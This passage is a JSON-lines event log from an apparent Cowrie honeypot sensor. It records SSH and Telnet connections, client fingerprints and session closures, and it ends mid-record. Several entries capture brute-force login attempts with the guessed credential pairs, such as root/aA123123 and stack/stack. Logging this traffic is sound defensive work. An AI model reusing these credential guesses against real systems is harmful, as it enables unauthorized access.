{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.929372Z","src_ip":"43.173.122.127","session":"65921183420f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.38573360443115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.956070Z","src_ip":"192.119.13.58","session":"7c4db587e188","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:27.233878Z","src_ip":"43.173.122.127","session":"65921183420f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41016,"dst_ip":"10.17.0.5","dst_port":22,"session":"7211a00b055e","protocol":"ssh","message":"New connection: 45.153.34.112:41016 (10.17.0.5:22) [session: 7211a00b055e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:28.080791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:28.085348Z","src_ip":"45.153.34.112","session":"7211a00b055e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:28.168366Z","src_ip":"45.153.34.112","session":"7211a00b055e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:28.303960Z","src_ip":"43.173.122.127","session":"65921183420f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:28.413549Z","src_ip":"45.153.34.112","session":"7211a00b055e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.46268057823181,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:29.130666Z","src_ip":"192.119.13.58","session":"d5c518062cec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:29.498423Z","src_ip":"45.153.34.112","session":"7211a00b055e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39670,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f47e51c2b9","protocol":"telnet","message":"New connection: 192.119.13.58:39670 (10.17.0.5:23) [session: 01f47e51c2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:30.861578Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38408,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa33723f4d9","protocol":"ssh","message":"New connection: 45.153.34.112:38408 (10.17.0.5:22) [session: 7aa33723f4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.437361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.442689Z","src_ip":"45.153.34.112","session":"7aa33723f4d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":52726,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e347b27753b","protocol":"ssh","message":"New connection: 158.178.141.16:52726 (10.17.0.5:22) [session: 0e347b27753b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.507397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.512887Z","src_ip":"158.178.141.16","session":"0e347b27753b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.525592Z","src_ip":"45.153.34.112","session":"7aa33723f4d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.720872Z","src_ip":"158.178.141.16","session":"0e347b27753b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:31.772902Z","src_ip":"45.153.34.112","session":"7aa33723f4d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ikwd","message":"login attempt [root/ikwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:32.586351Z","src_ip":"158.178.141.16","session":"0e347b27753b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:32.859019Z","src_ip":"45.153.34.112","session":"7aa33723f4d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.05074715614319,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:32.964021Z","src_ip":"192.119.13.58","session":"7de6f97e6fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.015706300735474,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:33.609938Z","src_ip":"192.119.13.58","session":"769d7d2d8193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:33.797077Z","src_ip":"158.178.141.16","session":"0e347b27753b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38416,"dst_ip":"10.17.0.5","dst_port":22,"session":"4154eda72870","protocol":"ssh","message":"New connection: 45.153.34.112:38416 (10.17.0.5:22) [session: 4154eda72870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:34.759097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:34.765012Z","src_ip":"45.153.34.112","session":"4154eda72870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:34.848021Z","src_ip":"45.153.34.112","session":"4154eda72870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:35.275155Z","src_ip":"45.153.34.112","session":"4154eda72870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:36.362575Z","src_ip":"45.153.34.112","session":"4154eda72870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.14397573471069,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:36.990263Z","src_ip":"192.119.13.58","session":"fb6ba3b2c918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.43271827697754,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:38.107355Z","src_ip":"192.119.13.58","session":"a71b79b32cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43368,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16170247cab","protocol":"telnet","message":"New connection: 192.119.13.58:43368 (10.17.0.5:23) [session: e16170247cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:38.769237Z"}
{"eventid":"cowrie.session.closed","duration":42.158437967300415,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:39.628793Z","src_ip":"192.119.13.58","session":"9561439f81ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49104,"dst_ip":"10.17.0.5","dst_port":23,"session":"94003f643c1d","protocol":"telnet","message":"New connection: 192.119.13.58:49104 (10.17.0.5:23) [session: 94003f643c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:40.221990Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c849a8f5792f","protocol":"telnet","message":"New connection: 192.119.13.58:55068 (10.17.0.5:23) [session: c849a8f5792f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:41.653749Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6993f141da","protocol":"telnet","message":"New connection: 192.119.13.58:41820 (10.17.0.5:23) [session: ed6993f141da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:45.277784Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":49326,"dst_ip":"10.17.0.5","dst_port":22,"session":"0af7154ebe42","protocol":"ssh","message":"New connection: 170.238.160.191:49326 (10.17.0.5:22) [session: 0af7154ebe42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:45.499634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:45.504364Z","src_ip":"170.238.160.191","session":"0af7154ebe42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:45.615700Z","src_ip":"170.238.160.191","session":"0af7154ebe42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"df39c0201308","protocol":"telnet","message":"New connection: 192.119.13.58:43538 (10.17.0.5:23) [session: df39c0201308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:45.690365Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:46.091789Z","src_ip":"170.238.160.191","session":"0af7154ebe42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:47.207085Z","src_ip":"170.238.160.191","session":"0af7154ebe42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55286,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84d1c2435b1","protocol":"telnet","message":"New connection: 192.119.13.58:55286 (10.17.0.5:23) [session: f84d1c2435b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:49.746799Z"}
{"eventid":"cowrie.session.closed","duration":42.023844957351685,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:51.939299Z","src_ip":"192.119.13.58","session":"aa87fb9a2d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40076,"dst_ip":"10.17.0.5","dst_port":23,"session":"446dae9e0f35","protocol":"telnet","message":"New connection: 192.119.13.58:40076 (10.17.0.5:23) [session: 446dae9e0f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:52.563206Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41920,"dst_ip":"10.17.0.5","dst_port":23,"session":"19ccdb7c0731","protocol":"telnet","message":"New connection: 192.119.13.58:41920 (10.17.0.5:23) [session: 19ccdb7c0731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:52.889708Z"}
{"eventid":"cowrie.session.closed","duration":31.332140922546387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:52.924798Z","src_ip":"192.119.13.58","session":"6eed00a4b9a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":56820,"dst_ip":"159.203.135.109","dst_port":22,"session":"554019dedd4a","protocol":"ssh","message":"New connection: 116.110.15.216:56820 (159.203.135.109:22) [session: 554019dedd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:53.915133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:53.955014Z","src_ip":"116.110.15.216","session":"554019dedd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-ni